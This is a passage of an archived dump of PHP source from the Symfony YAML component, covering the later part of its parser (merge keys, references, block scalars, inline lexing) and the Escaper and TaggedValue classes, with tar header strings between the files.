$sequenceYaml = substr($this->currentLine, $sequenceIndentation); $sequenceYaml .= "\n".$this->getNextEmbedBlock($sequenceIndentation, true); $data[] = $this->parseBlock($currentLineNumber, rtrim($sequenceYaml), $flags); } elseif (!isset($values['value']) || '' == trim($values['value'], ' ') || str_starts_with(ltrim($values['value'], ' '), '#')) { $data[] = $this->parseBlock($this->getRealCurrentLineNb() + 1, $this->getNextEmbedBlock(null, true) ?? '', $flags); } elseif (null !== $subTag = $this->getLineTag(ltrim($values['value'], ' '), $flags)) { $data[] = new TaggedValue( $subTag, $this->parseBlock($this->getRealCurrentLineNb() + 1, $this->getNextEmbedBlock(null, true), $flags) ); } else { if ( isset($values['leadspaces']) && ( '!' === $values['value'][0] || self::preg_match('#^(?P'.Inline::REGEX_QUOTED_STRING.'|[^ \'"\{\[].*?) *\:(\s+(?P.+?))?\s*$#u', $this->trimTag($values['value']), $matches) ) ) { // this is a compact notation element, add to next block and parse $block = $values['value']; if ($this->isNextLineIndented()) { $block .= "\n".$this->getNextEmbedBlock($this->getCurrentLineIndentation() + \strlen($values['leadspaces']) + 1); } $data[] = $this->parseBlock($this->getRealCurrentLineNb(), $block, $flags); } else { $data[] = $this->parseValue($values['value'], $flags, $context); } } if ($isRef) { $this->refs[$isRef] = end($data); array_pop($this->refsBeingParsed); } } elseif ( // @todo in 7.0 remove legacy "(?:!?!php/const:)?" self::preg_match('#^(?P(?:![^\s]++\s++)?(?:'.Inline::REGEX_QUOTED_STRING.'|(?:!?!php/const:)?[^ \'"\[\{!].*?)) *\:(( |\t)++(?P.+))?$#u', rtrim($this->currentLine), $values) && (!str_contains($values['key'], ' #') || \in_array($values['key'][0], ['"', "'"])) ) { if (str_starts_with($values['key'], '!php/const:')) { trigger_deprecation('symfony/yaml', '6.2', 'YAML syntax for key "%s" is deprecated and replaced by "!php/const %s".', $values['key'], substr($values['key'], 11)); } if ($context && 'sequence' == $context) { throw new ParseException('You cannot define a mapping item when in a sequence.', $this->currentLineNb + 1, $this->currentLine, $this->filename); } $context = 'mapping'; try { $key = Inline::parseScalar($values['key']); } catch (ParseException $e) { $e->setParsedLine($this->getRealCurrentLineNb() + 1); $e->setSnippet($this->currentLine); throw $e; } if (!\is_string($key) && !\is_int($key)) { throw new ParseException((is_numeric($key) ? 'Numeric' : 'Non-string').' keys are not supported. Quote your evaluable mapping keys instead.', $this->getRealCurrentLineNb() + 1, $this->currentLine); } // Convert float keys to strings, to avoid being converted to integers by PHP if (\is_float($key)) { $key = (string) $key; } if ('<<' === $key && (!isset($values['value']) || '&' !== $values['value'][0] || !self::preg_match('#^&(?P[^ ]+)#u', $values['value'], $refMatches))) { $mergeNode = true; $allowOverwrite = true; if (isset($values['value'][0]) && '*' === $values['value'][0]) { $refName = substr(rtrim($values['value']), 1); if (!\array_key_exists($refName, $this->refs)) { if (false !== $pos = array_search($refName, $this->refsBeingParsed, true)) { throw new ParseException(sprintf('Circular reference [%s] detected for reference "%s".', implode(', ', array_merge(\array_slice($this->refsBeingParsed, $pos), [$refName])), $refName), $this->currentLineNb + 1, $this->currentLine, $this->filename); } throw new ParseException(sprintf('Reference "%s" does not exist.', $refName), $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } $refValue = $this->refs[$refName]; if (Yaml::PARSE_OBJECT_FOR_MAP & $flags && $refValue instanceof \stdClass) { $refValue = (array) $refValue; } if (!\is_array($refValue)) { throw new ParseException('YAML merge keys used with a scalar value instead of an array.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } $data += $refValue; // array union } else { if (isset($values['value']) && '' !== $values['value']) { $value = $values['value']; } else { $value = $this->getNextEmbedBlock(); } $parsed = $this->parseBlock($this->getRealCurrentLineNb() + 1, $value, $flags); if (Yaml::PARSE_OBJECT_FOR_MAP & $flags && $parsed instanceof \stdClass) { $parsed = (array) $parsed; } if (!\is_array($parsed)) { throw new ParseException('YAML merge keys used with a scalar value instead of an array.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } if (isset($parsed[0])) { // If the value associated with the merge key is a sequence, then this sequence is expected to contain mapping nodes // and each of these nodes is merged in turn according to its order in the sequence. Keys in mapping nodes earlier // in the sequence override keys specified in later mapping nodes. foreach ($parsed as $parsedItem) { if (Yaml::PARSE_OBJECT_FOR_MAP & $flags && $parsedItem instanceof \stdClass) { $parsedItem = (array) $parsedItem; } if (!\is_array($parsedItem)) { throw new ParseException('Merge items must be arrays.', $this->getRealCurrentLineNb() + 1, $parsedItem, $this->filename); } $data += $parsedItem; // array union } } else { // If the value associated with the key is a single mapping node, each of its key/value pairs is inserted into the // current mapping, unless the key already exists in it. $data += $parsed; // array union } } } elseif ('<<' !== $key && isset($values['value']) && '&' === $values['value'][0] && self::preg_match(self::REFERENCE_PATTERN, $values['value'], $matches)) { $isRef = $matches['ref']; $this->refsBeingParsed[] = $isRef; $values['value'] = $matches['value']; } $subTag = null; if ($mergeNode) { // Merge keys } elseif (!isset($values['value']) || '' === $values['value'] || str_starts_with($values['value'], '#') || (null !== $subTag = $this->getLineTag($values['value'], $flags)) || '<<' === $key) { // hash // if next line is less indented or equal, then it means that the current value is null if (!$this->isNextLineIndented() && !$this->isNextLineUnIndentedCollection()) { // Spec: Keys MUST be unique; first one wins. // But overwriting is allowed when a merge node is used in current block. if ($allowOverwrite || !isset($data[$key])) { if (null !== $subTag) { $data[$key] = new TaggedValue($subTag, ''); } else { $data[$key] = null; } } else { throw new ParseException(sprintf('Duplicate key "%s" detected.', $key), $this->getRealCurrentLineNb() + 1, $this->currentLine); } } else { // remember the parsed line number here in case we need it to provide some contexts in error messages below $realCurrentLineNbKey = $this->getRealCurrentLineNb(); $value = $this->parseBlock($this->getRealCurrentLineNb() + 1, $this->getNextEmbedBlock(), $flags); if ('<<' === $key) { $this->refs[$refMatches['ref']] = $value; if (Yaml::PARSE_OBJECT_FOR_MAP & $flags && $value instanceof \stdClass) { $value = (array) $value; } $data += $value; } elseif ($allowOverwrite || !isset($data[$key])) { // Spec: Keys MUST be unique; first one wins. // But overwriting is allowed when a merge node is used in current block. if (null !== $subTag) { $data[$key] = new TaggedValue($subTag, $value); } else { $data[$key] = $value; } } else { throw new ParseException(sprintf('Duplicate key "%s" detected.', $key), $realCurrentLineNbKey + 1, $this->currentLine); } } } else { $value = $this->parseValue(rtrim($values['value']), $flags, $context); // Spec: Keys MUST be unique; first one wins. // But overwriting is allowed when a merge node is used in current block. if ($allowOverwrite || !isset($data[$key])) { $data[$key] = $value; } else { throw new ParseException(sprintf('Duplicate key "%s" detected.', $key), $this->getRealCurrentLineNb() + 1, $this->currentLine); } } if ($isRef) { $this->refs[$isRef] = $data[$key]; array_pop($this->refsBeingParsed); } } elseif ('"' === $this->currentLine[0] || "'" === $this->currentLine[0]) { if (null !== $context) { throw new ParseException('Unable to parse.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } try { return Inline::parse($this->lexInlineQuotedString(), $flags, $this->refs); } catch (ParseException $e) { $e->setParsedLine($this->getRealCurrentLineNb() + 1); $e->setSnippet($this->currentLine); throw $e; } } elseif ('{' === $this->currentLine[0]) { if (null !== $context) { throw new ParseException('Unable to parse.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } try { $parsedMapping = Inline::parse($this->lexInlineMapping(), $flags, $this->refs); while ($this->moveToNextLine()) { if (!$this->isCurrentLineEmpty()) { throw new ParseException('Unable to parse.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } } return $parsedMapping; } catch (ParseException $e) { $e->setParsedLine($this->getRealCurrentLineNb() + 1); $e->setSnippet($this->currentLine); throw $e; } } elseif ('[' === $this->currentLine[0]) { if (null !== $context) { throw new ParseException('Unable to parse.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } try { $parsedSequence = Inline::parse($this->lexInlineSequence(), $flags, $this->refs); while ($this->moveToNextLine()) { if (!$this->isCurrentLineEmpty()) { throw new ParseException('Unable to parse.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } } return $parsedSequence; } catch (ParseException $e) { $e->setParsedLine($this->getRealCurrentLineNb() + 1); $e->setSnippet($this->currentLine); throw $e; } } else { // multiple documents are not supported if ('---' === $this->currentLine) { throw new ParseException('Multiple documents are not supported.', $this->currentLineNb + 1, $this->currentLine, $this->filename); } if ($deprecatedUsage = (isset($this->currentLine[1]) && '?' === $this->currentLine[0] && ' ' === $this->currentLine[1])) { throw new ParseException('Complex mappings are not supported.', $this->getRealCurrentLineNb() + 1, $this->currentLine); } // 1-liner optionally followed by newline(s) if (\is_string($value) && $this->lines[0] === trim($value)) { try { $value = Inline::parse($this->lines[0], $flags, $this->refs); } catch (ParseException $e) { $e->setParsedLine($this->getRealCurrentLineNb() + 1); $e->setSnippet($this->currentLine); throw $e; } return $value; } // try to parse the value as a multi-line string as a last resort if (0 === $this->currentLineNb) { $previousLineWasNewline = false; $previousLineWasTerminatedWithBackslash = false; $value = ''; foreach ($this->lines as $line) { $trimmedLine = trim($line); if ('#' === ($trimmedLine[0] ?? '')) { continue; } // If the indentation is not consistent at offset 0, it is to be considered as a ParseError if (0 === $this->offset && !$deprecatedUsage && isset($line[0]) && ' ' === $line[0]) { throw new ParseException('Unable to parse.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } if (str_contains($line, ': ')) { throw new ParseException('Mapping values are not allowed in multi-line blocks.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } if ('' === $trimmedLine) { $value .= "\n"; } elseif (!$previousLineWasNewline && !$previousLineWasTerminatedWithBackslash) { $value .= ' '; } if ('' !== $trimmedLine && str_ends_with($line, '\\')) { $value .= ltrim(substr($line, 0, -1)); } elseif ('' !== $trimmedLine) { $value .= $trimmedLine; } if ('' === $trimmedLine) { $previousLineWasNewline = true; $previousLineWasTerminatedWithBackslash = false; } elseif (str_ends_with($line, '\\')) { $previousLineWasNewline = false; $previousLineWasTerminatedWithBackslash = true; } else { $previousLineWasNewline = false; $previousLineWasTerminatedWithBackslash = false; } } try { return Inline::parse(trim($value)); } catch (ParseException) { // fall-through to the ParseException thrown below } } throw new ParseException('Unable to parse.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } } while ($this->moveToNextLine()); if (null !== $tag) { $data = new TaggedValue($tag, $data); } if (Yaml::PARSE_OBJECT_FOR_MAP & $flags && 'mapping' === $context && !\is_object($data)) { $object = new \stdClass(); foreach ($data as $key => $value) { $object->$key = $value; } $data = $object; } return empty($data) ? null : $data; } private function parseBlock(int $offset, string $yaml, int $flags): mixed { $skippedLineNumbers = $this->skippedLineNumbers; foreach ($this->locallySkippedLineNumbers as $lineNumber) { if ($lineNumber < $offset) { continue; } $skippedLineNumbers[] = $lineNumber; } $parser = new self(); $parser->offset = $offset; $parser->totalNumberOfLines = $this->totalNumberOfLines; $parser->skippedLineNumbers = $skippedLineNumbers; $parser->refs = &$this->refs; $parser->refsBeingParsed = $this->refsBeingParsed; return $parser->doParse($yaml, $flags); } /** * Returns the current line number (takes the offset into account). * * @internal */ public function getRealCurrentLineNb(): int { $realCurrentLineNumber = $this->currentLineNb + $this->offset; foreach ($this->skippedLineNumbers as $skippedLineNumber) { if ($skippedLineNumber > $realCurrentLineNumber) { break; } ++$realCurrentLineNumber; } return $realCurrentLineNumber; } private function getCurrentLineIndentation(): int { if (' ' !== ($this->currentLine[0] ?? '')) { return 0; } return \strlen($this->currentLine) - \strlen(ltrim($this->currentLine, ' ')); } /** * Returns the next embed block of YAML. * * @param int|null $indentation The indent level at which the block is to be read, or null for default * @param bool $inSequence True if the enclosing data structure is a sequence * * @throws ParseException When indentation problem are detected */ private function getNextEmbedBlock(int $indentation = null, bool $inSequence = false): string { $oldLineIndentation = $this->getCurrentLineIndentation(); if (!$this->moveToNextLine()) { return ''; } if (null === $indentation) { $newIndent = null; $movements = 0; do { $EOF = false; // empty and comment-like lines do not influence the indentation depth if ($this->isCurrentLineEmpty() || $this->isCurrentLineComment()) { $EOF = !$this->moveToNextLine(); if (!$EOF) { ++$movements; } } else { $newIndent = $this->getCurrentLineIndentation(); } } while (!$EOF && null === $newIndent); for ($i = 0; $i < $movements; ++$i) { $this->moveToPreviousLine(); } $unindentedEmbedBlock = $this->isStringUnIndentedCollectionItem(); if (!$this->isCurrentLineEmpty() && 0 === $newIndent && !$unindentedEmbedBlock) { throw new ParseException('Indentation problem.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } } else { $newIndent = $indentation; } $data = []; if ($this->getCurrentLineIndentation() >= $newIndent) { $data[] = substr($this->currentLine, $newIndent ?? 0); } elseif ($this->isCurrentLineEmpty() || $this->isCurrentLineComment()) { $data[] = $this->currentLine; } else { $this->moveToPreviousLine(); return ''; } if ($inSequence && $oldLineIndentation === $newIndent && isset($data[0][0]) && '-' === $data[0][0]) { // the previous line contained a dash but no item content, this line is a sequence item with the same indentation // and therefore no nested list or mapping $this->moveToPreviousLine(); return ''; } $isItUnindentedCollection = $this->isStringUnIndentedCollectionItem(); $isItComment = $this->isCurrentLineComment(); while ($this->moveToNextLine()) { if ($isItComment && !$isItUnindentedCollection) { $isItUnindentedCollection = $this->isStringUnIndentedCollectionItem(); $isItComment = $this->isCurrentLineComment(); } $indent = $this->getCurrentLineIndentation(); if ($isItUnindentedCollection && !$this->isCurrentLineEmpty() && !$this->isStringUnIndentedCollectionItem() && $newIndent === $indent) { $this->moveToPreviousLine(); break; } if ($this->isCurrentLineBlank()) { $data[] = substr($this->currentLine, $newIndent); continue; } if ($indent >= $newIndent) { $data[] = substr($this->currentLine, $newIndent); } elseif ($this->isCurrentLineComment()) { $data[] = $this->currentLine; } elseif (0 == $indent) { $this->moveToPreviousLine(); break; } else { throw new ParseException('Indentation problem.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } } return implode("\n", $data); } private function hasMoreLines(): bool { return (\count($this->lines) - 1) > $this->currentLineNb; } /** * Moves the parser to the next line. */ private function moveToNextLine(): bool { if ($this->currentLineNb >= $this->numberOfParsedLines - 1) { return false; } $this->currentLine = $this->lines[++$this->currentLineNb]; return true; } /** * Moves the parser to the previous line. */ private function moveToPreviousLine(): bool { if ($this->currentLineNb < 1) { return false; } $this->currentLine = $this->lines[--$this->currentLineNb]; return true; } /** * Parses a YAML value. * * @param string $value A YAML value * @param int $flags A bit field of Yaml::PARSE_* constants to customize the YAML parser behavior * @param string $context The parser context (either sequence or mapping) * * @throws ParseException When reference does not exist */ private function parseValue(string $value, int $flags, string $context): mixed { if (str_starts_with($value, '*')) { if (false !== $pos = strpos($value, '#')) { $value = substr($value, 1, $pos - 2); } else { $value = substr($value, 1); } if (!\array_key_exists($value, $this->refs)) { if (false !== $pos = array_search($value, $this->refsBeingParsed, true)) { throw new ParseException(sprintf('Circular reference [%s] detected for reference "%s".', implode(', ', array_merge(\array_slice($this->refsBeingParsed, $pos), [$value])), $value), $this->currentLineNb + 1, $this->currentLine, $this->filename); } throw new ParseException(sprintf('Reference "%s" does not exist.', $value), $this->currentLineNb + 1, $this->currentLine, $this->filename); } return $this->refs[$value]; } if (\in_array($value[0], ['!', '|', '>'], true) && self::preg_match('/^(?:'.self::TAG_PATTERN.' +)?'.self::BLOCK_SCALAR_HEADER_PATTERN.'$/', $value, $matches)) { $modifiers = $matches['modifiers'] ?? ''; $data = $this->parseBlockScalar($matches['separator'], preg_replace('#\d+#', '', $modifiers), abs((int) $modifiers)); if ('' !== $matches['tag'] && '!' !== $matches['tag']) { if ('!!binary' === $matches['tag']) { return Inline::evaluateBinaryScalar($data); } return new TaggedValue(substr($matches['tag'], 1), $data); } return $data; } try { if ('' !== $value && '{' === $value[0]) { $cursor = \strlen(rtrim($this->currentLine)) - \strlen(rtrim($value)); return Inline::parse($this->lexInlineMapping($cursor), $flags, $this->refs); } elseif ('' !== $value && '[' === $value[0]) { $cursor = \strlen(rtrim($this->currentLine)) - \strlen(rtrim($value)); return Inline::parse($this->lexInlineSequence($cursor), $flags, $this->refs); } switch ($value[0] ?? '') { case '"': case "'": $cursor = \strlen(rtrim($this->currentLine)) - \strlen(rtrim($value)); $parsedValue = Inline::parse($this->lexInlineQuotedString($cursor), $flags, $this->refs); if (isset($this->currentLine[$cursor]) && preg_replace('/\s*(#.*)?$/A', '', substr($this->currentLine, $cursor))) { throw new ParseException(sprintf('Unexpected characters near "%s".', substr($this->currentLine, $cursor))); } return $parsedValue; default: $lines = []; while ($this->moveToNextLine()) { // unquoted strings end before the first unindented line if (0 === $this->getCurrentLineIndentation()) { $this->moveToPreviousLine(); break; } $lines[] = trim($this->currentLine); } for ($i = 0, $linesCount = \count($lines), $previousLineBlank = false; $i < $linesCount; ++$i) { if ('' === $lines[$i]) { $value .= "\n"; $previousLineBlank = true; } elseif ($previousLineBlank) { $value .= $lines[$i]; $previousLineBlank = false; } else { $value .= ' '.$lines[$i]; $previousLineBlank = false; } } Inline::$parsedLineNumber = $this->getRealCurrentLineNb(); $parsedValue = Inline::parse($value, $flags, $this->refs); if ('mapping' === $context && \is_string($parsedValue) && '"' !== $value[0] && "'" !== $value[0] && '[' !== $value[0] && '{' !== $value[0] && '!' !== $value[0] && str_contains($parsedValue, ': ')) { throw new ParseException('A colon cannot be used in an unquoted mapping value.', $this->getRealCurrentLineNb() + 1, $value, $this->filename); } return $parsedValue; } } catch (ParseException $e) { $e->setParsedLine($this->getRealCurrentLineNb() + 1); $e->setSnippet($this->currentLine); throw $e; } } /** * Parses a block scalar. * * @param string $style The style indicator that was used to begin this block scalar (| or >) * @param string $chomping The chomping indicator that was used to begin this block scalar (+ or -) * @param int $indentation The indentation indicator that was used to begin this block scalar */ private function parseBlockScalar(string $style, string $chomping = '', int $indentation = 0): string { $notEOF = $this->moveToNextLine(); if (!$notEOF) { return ''; } $isCurrentLineBlank = $this->isCurrentLineBlank(); $blockLines = []; // leading blank lines are consumed before determining indentation while ($notEOF && $isCurrentLineBlank) { // newline only if not EOF if ($notEOF = $this->moveToNextLine()) { $blockLines[] = ''; $isCurrentLineBlank = $this->isCurrentLineBlank(); } } // determine indentation if not specified if (0 === $indentation) { $currentLineLength = \strlen($this->currentLine); for ($i = 0; $i < $currentLineLength && ' ' === $this->currentLine[$i]; ++$i) { ++$indentation; } } if ($indentation > 0) { $pattern = sprintf('/^ {%d}(.*)$/', $indentation); while ( $notEOF && ( $isCurrentLineBlank || self::preg_match($pattern, $this->currentLine, $matches) ) ) { if ($isCurrentLineBlank && \strlen($this->currentLine) > $indentation) { $blockLines[] = substr($this->currentLine, $indentation); } elseif ($isCurrentLineBlank) { $blockLines[] = ''; } else { $blockLines[] = $matches[1]; } // newline only if not EOF if ($notEOF = $this->moveToNextLine()) { $isCurrentLineBlank = $this->isCurrentLineBlank(); } } } elseif ($notEOF) { $blockLines[] = ''; } if ($notEOF) { $blockLines[] = ''; $this->moveToPreviousLine(); } elseif (!$notEOF && !$this->isCurrentLineLastLineInDocument()) { $blockLines[] = ''; } // folded style if ('>' === $style) { $text = ''; $previousLineIndented = false; $previousLineBlank = false; for ($i = 0, $blockLinesCount = \count($blockLines); $i < $blockLinesCount; ++$i) { if ('' === $blockLines[$i]) { $text .= "\n"; $previousLineIndented = false; $previousLineBlank = true; } elseif (' ' === $blockLines[$i][0]) { $text .= "\n".$blockLines[$i]; $previousLineIndented = true; $previousLineBlank = false; } elseif ($previousLineIndented) { $text .= "\n".$blockLines[$i]; $previousLineIndented = false; $previousLineBlank = false; } elseif ($previousLineBlank || 0 === $i) { $text .= $blockLines[$i]; $previousLineIndented = false; $previousLineBlank = false; } else { $text .= ' '.$blockLines[$i]; $previousLineIndented = false; $previousLineBlank = false; } } } else { $text = implode("\n", $blockLines); } // deal with trailing newlines if ('' === $chomping) { $text = preg_replace('/\n+$/', "\n", $text); } elseif ('-' === $chomping) { $text = preg_replace('/\n+$/', '', $text); } return $text; } /** * Returns true if the next line is indented. */ private function isNextLineIndented(): bool { $currentIndentation = $this->getCurrentLineIndentation(); $movements = 0; do { $EOF = !$this->moveToNextLine(); if (!$EOF) { ++$movements; } } while (!$EOF && ($this->isCurrentLineEmpty() || $this->isCurrentLineComment())); if ($EOF) { return false; } $ret = $this->getCurrentLineIndentation() > $currentIndentation; for ($i = 0; $i < $movements; ++$i) { $this->moveToPreviousLine(); } return $ret; } private function isCurrentLineEmpty(): bool { return $this->isCurrentLineBlank() || $this->isCurrentLineComment(); } private function isCurrentLineBlank(): bool { return '' === $this->currentLine || '' === trim($this->currentLine, ' '); } private function isCurrentLineComment(): bool { // checking explicitly the first char of the trim is faster than loops or strpos $ltrimmedLine = '' !== $this->currentLine && ' ' === $this->currentLine[0] ? ltrim($this->currentLine, ' ') : $this->currentLine; return '' !== $ltrimmedLine && '#' === $ltrimmedLine[0]; } private function isCurrentLineLastLineInDocument(): bool { return ($this->offset + $this->currentLineNb) >= ($this->totalNumberOfLines - 1); } private function cleanup(string $value): string { $value = str_replace(["\r\n", "\r"], "\n", $value); // strip YAML header $count = 0; $value = preg_replace('#^\%YAML[: ][\d\.]+.*\n#u', '', $value, -1, $count); $this->offset += $count; // remove leading comments $trimmedValue = preg_replace('#^(\#.*?\n)+#s', '', $value, -1, $count); if (1 === $count) { // items have been removed, update the offset $this->offset += substr_count($value, "\n") - substr_count($trimmedValue, "\n"); $value = $trimmedValue; } // remove start of the document marker (---) $trimmedValue = preg_replace('#^\-\-\-.*?\n#s', '', $value, -1, $count); if (1 === $count) { // items have been removed, update the offset $this->offset += substr_count($value, "\n") - substr_count($trimmedValue, "\n"); $value = $trimmedValue; // remove end of the document marker (...) $value = preg_replace('#\.\.\.\s*$#', '', $value); } return $value; } private function isNextLineUnIndentedCollection(): bool { $currentIndentation = $this->getCurrentLineIndentation(); $movements = 0; do { $EOF = !$this->moveToNextLine(); if (!$EOF) { ++$movements; } } while (!$EOF && ($this->isCurrentLineEmpty() || $this->isCurrentLineComment())); if ($EOF) { return false; } $ret = $this->getCurrentLineIndentation() === $currentIndentation && $this->isStringUnIndentedCollectionItem(); for ($i = 0; $i < $movements; ++$i) { $this->moveToPreviousLine(); } return $ret; } private function isStringUnIndentedCollectionItem(): bool { return '-' === rtrim($this->currentLine) || str_starts_with($this->currentLine, '- '); } /** * A local wrapper for "preg_match" which will throw a ParseException if there * is an internal error in the PCRE engine. * * This avoids us needing to check for "false" every time PCRE is used * in the YAML engine * * @throws ParseException on a PCRE internal error * * @internal */ public static function preg_match(string $pattern, string $subject, array &$matches = null, int $flags = 0, int $offset = 0): int { if (false === $ret = preg_match($pattern, $subject, $matches, $flags, $offset)) { throw new ParseException(preg_last_error_msg()); } return $ret; } /** * Trim the tag on top of the value. * * Prevent values such as "!foo {quz: bar}" to be considered as * a mapping block. */ private function trimTag(string $value): string { if ('!' === $value[0]) { return ltrim(substr($value, 1, strcspn($value, " \r\n", 1)), ' '); } return $value; } private function getLineTag(string $value, int $flags, bool $nextLineCheck = true): ?string { if ('' === $value || '!' !== $value[0] || 1 !== self::preg_match('/^'.self::TAG_PATTERN.' *( +#.*)?$/', $value, $matches)) { return null; } if ($nextLineCheck && !$this->isNextLineIndented()) { return null; } $tag = substr($matches['tag'], 1); // Built-in tags if ($tag && '!' === $tag[0]) { throw new ParseException(sprintf('The built-in tag "!%s" is not implemented.', $tag), $this->getRealCurrentLineNb() + 1, $value, $this->filename); } if (Yaml::PARSE_CUSTOM_TAGS & $flags) { return $tag; } throw new ParseException(sprintf('Tags support is not enabled. You must use the flag "Yaml::PARSE_CUSTOM_TAGS" to use "%s".', $matches['tag']), $this->getRealCurrentLineNb() + 1, $value, $this->filename); } private function lexInlineQuotedString(int &$cursor = 0): string { $quotation = $this->currentLine[$cursor]; $value = $quotation; ++$cursor; $previousLineWasNewline = true; $previousLineWasTerminatedWithBackslash = false; $lineNumber = 0; do { if (++$lineNumber > 1) { $cursor += strspn($this->currentLine, ' ', $cursor); } if ($this->isCurrentLineBlank()) { $value .= "\n"; } elseif (!$previousLineWasNewline && !$previousLineWasTerminatedWithBackslash) { $value .= ' '; } for (; \strlen($this->currentLine) > $cursor; ++$cursor) { switch ($this->currentLine[$cursor]) { case '\\': if ("'" === $quotation) { $value .= '\\'; } elseif (isset($this->currentLine[++$cursor])) { $value .= '\\'.$this->currentLine[$cursor]; } break; case $quotation: ++$cursor; if ("'" === $quotation && isset($this->currentLine[$cursor]) && "'" === $this->currentLine[$cursor]) { $value .= "''"; break; } return $value.$quotation; default: $value .= $this->currentLine[$cursor]; } } if ($this->isCurrentLineBlank()) { $previousLineWasNewline = true; $previousLineWasTerminatedWithBackslash = false; } elseif ('\\' === $this->currentLine[-1]) { $previousLineWasNewline = false; $previousLineWasTerminatedWithBackslash = true; } else { $previousLineWasNewline = false; $previousLineWasTerminatedWithBackslash = false; } if ($this->hasMoreLines()) { $cursor = 0; } } while ($this->moveToNextLine()); throw new ParseException('Malformed inline YAML string.'); } private function lexUnquotedString(int &$cursor): string { $offset = $cursor; $cursor += strcspn($this->currentLine, '[]{},: ', $cursor); if ($cursor === $offset) { throw new ParseException('Malformed unquoted YAML string.'); } return substr($this->currentLine, $offset, $cursor - $offset); } private function lexInlineMapping(int &$cursor = 0): string { return $this->lexInlineStructure($cursor, '}'); } private function lexInlineSequence(int &$cursor = 0): string { return $this->lexInlineStructure($cursor, ']'); } private function lexInlineStructure(int &$cursor, string $closingTag): string { $value = $this->currentLine[$cursor]; ++$cursor; do { $this->consumeWhitespaces($cursor); while (isset($this->currentLine[$cursor])) { switch ($this->currentLine[$cursor]) { case '"': case "'": $value .= $this->lexInlineQuotedString($cursor); break; case ':': case ',': $value .= $this->currentLine[$cursor]; ++$cursor; break; case '{': $value .= $this->lexInlineMapping($cursor); break; case '[': $value .= $this->lexInlineSequence($cursor); break; case $closingTag: $value .= $this->currentLine[$cursor]; ++$cursor; return $value; case '#': break 2; default: $value .= $this->lexUnquotedString($cursor); } if ($this->consumeWhitespaces($cursor)) { $value .= ' '; } } if ($this->hasMoreLines()) { $cursor = 0; } } while ($this->moveToNextLine()); throw new ParseException('Malformed inline YAML string.'); } private function consumeWhitespaces(int &$cursor): bool { $whitespacesConsumed = 0; do { $whitespaceOnlyTokenLength = strspn($this->currentLine, ' ', $cursor); $whitespacesConsumed += $whitespaceOnlyTokenLength; $cursor += $whitespaceOnlyTokenLength; if (isset($this->currentLine[$cursor])) { return 0 < $whitespacesConsumed; } if ($this->hasMoreLines()) { $cursor = 0; } } while ($this->moveToNextLine()); return 0 < $whitespacesConsumed; } } yaml/Escaper.php000064400000007367151113512260007613 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; /** * Escaper encapsulates escaping rules for single and double-quoted * YAML strings. * * @author Matthew Lewinski * * @internal */ class Escaper { // Characters that would cause a dumped string to require double quoting. public const REGEX_CHARACTER_TO_ESCAPE = "[\\x00-\\x1f]|\x7f|\xc2\x85|\xc2\xa0|\xe2\x80\xa8|\xe2\x80\xa9"; // Mapping arrays for escaping a double quoted string. The backslash is // first to ensure proper escaping because str_replace operates iteratively // on the input arrays. This ordering of the characters avoids the use of strtr, // which performs more slowly. private const ESCAPEES = ['\\', '\\\\', '\\"', '"', "\x00", "\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\x09", "\x0a", "\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10", "\x11", "\x12", "\x13", "\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a", "\x1b", "\x1c", "\x1d", "\x1e", "\x1f", "\x7f", "\xc2\x85", "\xc2\xa0", "\xe2\x80\xa8", "\xe2\x80\xa9", ]; private const ESCAPED = ['\\\\', '\\"', '\\\\', '\\"', '\\0', '\\x01', '\\x02', '\\x03', '\\x04', '\\x05', '\\x06', '\\a', '\\b', '\\t', '\\n', '\\v', '\\f', '\\r', '\\x0e', '\\x0f', '\\x10', '\\x11', '\\x12', '\\x13', '\\x14', '\\x15', '\\x16', '\\x17', '\\x18', '\\x19', '\\x1a', '\\e', '\\x1c', '\\x1d', '\\x1e', '\\x1f', '\\x7f', '\\N', '\\_', '\\L', '\\P', ]; /** * Determines if a PHP value would require double quoting in YAML. * * @param string $value A PHP value */ public static function requiresDoubleQuoting(string $value): bool { return 0 < preg_match('/'.self::REGEX_CHARACTER_TO_ESCAPE.'/u', $value); } /** * Escapes and surrounds a PHP value with double quotes. * * @param string $value A PHP value */ public static function escapeWithDoubleQuotes(string $value): string { return sprintf('"%s"', str_replace(self::ESCAPEES, self::ESCAPED, $value)); } /** * Determines if a PHP value would require single quoting in YAML. * * @param string $value A PHP value */ public static function requiresSingleQuoting(string $value): bool { // Determines if a PHP value is entirely composed of a value that would // require single quoting in YAML. if (\in_array(strtolower($value), ['null', '~', 'true', 'false', 'y', 'n', 'yes', 'no', 'on', 'off'])) { return true; } // Determines if the PHP value contains any single characters that would // cause it to require single quoting in YAML. return 0 < preg_match('/[ \s \' " \: \{ \} \[ \] , & \* \# \?] | \A[ \- ? | < > = ! % @ ` \p{Zs}]/xu', $value); } /** * Escapes and surrounds a PHP value with single quotes. * * @param string $value A PHP value */ public static function escapeWithSingleQuotes(string $value): string { return sprintf("'%s'", str_replace('\'', '\'\'', $value)); } } yaml/Tag/TaggedValue.php000064400000001337151113512260011123 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml\Tag; /** * @author Nicolas Grekas * @author Guilhem N. */ final class TaggedValue { private string $tag; private mixed $value; public function __construct(string $tag, mixed $value) { $this->tag = $tag; $this->value = $value; } public function getTag(): string { return $this->tag; } public function getValue(): mixed { return $this->value; } } yaml/CHANGELOG.md000064400000016320151113512260007316 